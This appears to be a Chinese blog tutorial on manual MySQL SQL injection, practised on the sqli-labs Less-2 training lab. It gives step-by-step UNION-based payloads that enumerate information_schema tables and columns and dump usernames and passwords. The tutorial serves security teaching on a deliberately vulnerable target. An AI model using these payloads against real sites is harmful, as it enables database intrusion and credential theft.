SQL注入之MYSQL手工注入篇

含有sqli-labs第二关数字型注入+流程介绍=大发雷霆注入法

  • 一、SQL手工注入流程:
  • SQL注入之实战流程如下:

  • 1、判断有无注入点
  • 2、猜解列名数量
  • 3、通过报错方式,判断回显点是否存在
  • 4、回显点进行信息收集
  • 5、对应 SQL数据库注入
  • 使用:(1) and 1=1 (2)order by (3)union (4) gr
  • 不懂可以提前理解(MySQL知识点,详细版会简单描述)

  • 二、简单理解:练习靶场为sqli-labs第二关数字型注入
  • (1)浏览器进行数据提交服务器:

  • get 提交 : 通过 url 提交          1.数据长度  2.速度快

  • http://localhost/sqli-labs-master/Less-2/index.php?id=1
  • post 提交 : 通过服务器提交    1.安全性   2.数据量

    注意:参数传递方式:GET 请求的参数会放在 URL 中,通过 URL 可以直接看到;POST 请求数据是放在请求体里,通过 URL 无法直接看到。

  • (2)在url中输入id值,执行查询sql语句。即可得到对应数据less-2源码分析:

  • (3)SQL注入原理代码理解:

  • 三、尝试手工注入流程--详细版:
  • 1.判断有无注入点 :and 1 = 1; 意思为: true (真:不会报错)

  • 注意:最朴实的烹饪办法当然是(最简单判断是否存在注入点)随便输入内容辣

    传递代码:Select * from users where user = $user and 1=1

    注入:index.php?id=1   或者 and 1=1  或者   随便输入

  • 2.猜解列名数量 order by (如果存在:%20 表示 空格而已)

  • 说明:order by效果为排序---MYSQL中   
    例:战士是“5 6 8 3”  经过 长官是“order by” ,报数 3 5 6 8

  • (备注:不要看我们了会害羞的,两者图片效果可以一样)

    理解:通过盲猜判断语句为:order by 对字段进行排序,没有着报错获取信息

  • 传递代码:select id form users where id = 2 union select * form users order by 1;
    注入:index.php?id=1 order by 4
  • 3.通过报错方式获取到字段数,结合union【判断回显点(union合并查询)】

    注意:保证列名数量一致,否则报错

    报错参考如下:

  • 使id=-1直接使查询结果为空,这样,就不会占用第0行位置保证union 中1,2,3回显

  • 注入:index.php?=-1 union select 1,2,3
  • 4.通过回显点进行信息收集

  • (1)数据库版本:version() 、@@version

  • (2)数据库名字:database() 

  • (3)数据库用户:user()

  • (4)操作系统:@@version_compile_os

  • (5)数据库路径:@@datadir
  • 效果如下图:(其他同理自行尝试)

  • 注入:index.php?id=-1 union select 1,version(),3
    
    备注:如果迷糊,说明没有动脑子(请自行思考为什么要收集以上内容)
  • 5.使用对应SQL信息(数据库)完成真实注入,获取信息(偷吃禁果)

  • (1)信息整理:

    1-数据库库名:security 2-php版本:5.7.26 3-字段数量

    4-information_schema.tables(解读:数据库服务+连接点+所有表信息)

    5-infromation_schema.columns(解读:数据库服务+连接点+所有列信息)

    备注:从4、5获取通过卡片即可偷吃禁果,长生不老

  • (2)获取“security”数据库--表名信息

  • 解读:

    1、group_concat(table_name):

    直接打印table_name 如果表明过多会导致无法显示可使用Group_concat( )函数为:聚合函数,进行分组去重

    2、范围过大进行缩减:(table_schema 是数据库的名称、where提取满足指定条件的信息)

    where table_schema=database()

  • 注入:
    index.php?id=-1 union select 1,group_concat(table_name),3 from information_schema
    .tables where table_schema=database()
  • (3)获取“users”表--获取列信息

  • 注意:通过回显的值判断:账户和密码为哪个字段即可
    
    注入:
    index.php?id=-1 union select 1,group_concat(column_name),3 from information_
    Schema.columns where table_name=0x7573657273
  • (4)品尝禁果,获取列下数据信息:查询username password字段(0x3a为“:”)

  • 注入:
    index.php?id=-1 union select 1,2,(select group_concat(username,0x3a,password) from users)
  • 成功获取用户账号与对应密码

相关推荐

  1. MySQL SQL 注入

    2024-07-17 16:14:01       57 阅读
  2. MSsql数据库 sql注入

    2024-07-17 16:14:01       32 阅读
  3. sql注入union联合注入

    2024-07-17 16:14:01       48 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-17 16:14:01       67 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-17 16:14:01       72 阅读
  3. 在Django里面运行非项目文件

    2024-07-17 16:14:01       58 阅读
  4. Python语言-面向对象

    2024-07-17 16:14:01       69 阅读

热门阅读

  1. AcWing 668. 游戏时间2

    2024-07-17 16:14:01       22 阅读
  2. [C/C++入门][ifelse]20、闰年判断

    2024-07-17 16:14:01       21 阅读
  3. Pycharm远程配置及Linux&Windows虚拟环境安装记录

    2024-07-17 16:14:01       23 阅读
  4. ES6基本语法(四)——对象和类

    2024-07-17 16:14:01       20 阅读
  5. TG群导航机器人:深度检索技术的创新应用

    2024-07-17 16:14:01       24 阅读
  6. 请求与响应的方式

    2024-07-17 16:14:01       22 阅读
  7. openfeign的概念作用和使用流程

    2024-07-17 16:14:01       21 阅读
  8. Blob数据格式怎么转换成ArrayBuffer

    2024-07-17 16:14:01       21 阅读
  9. Qt篇——在线程中更新ui控件

    2024-07-17 16:14:01       21 阅读
  10. 520. 检测大写字母

    2024-07-17 16:14:01       22 阅读
  11. CSharp类和对象练习--求Pi的值

    2024-07-17 16:14:01       37 阅读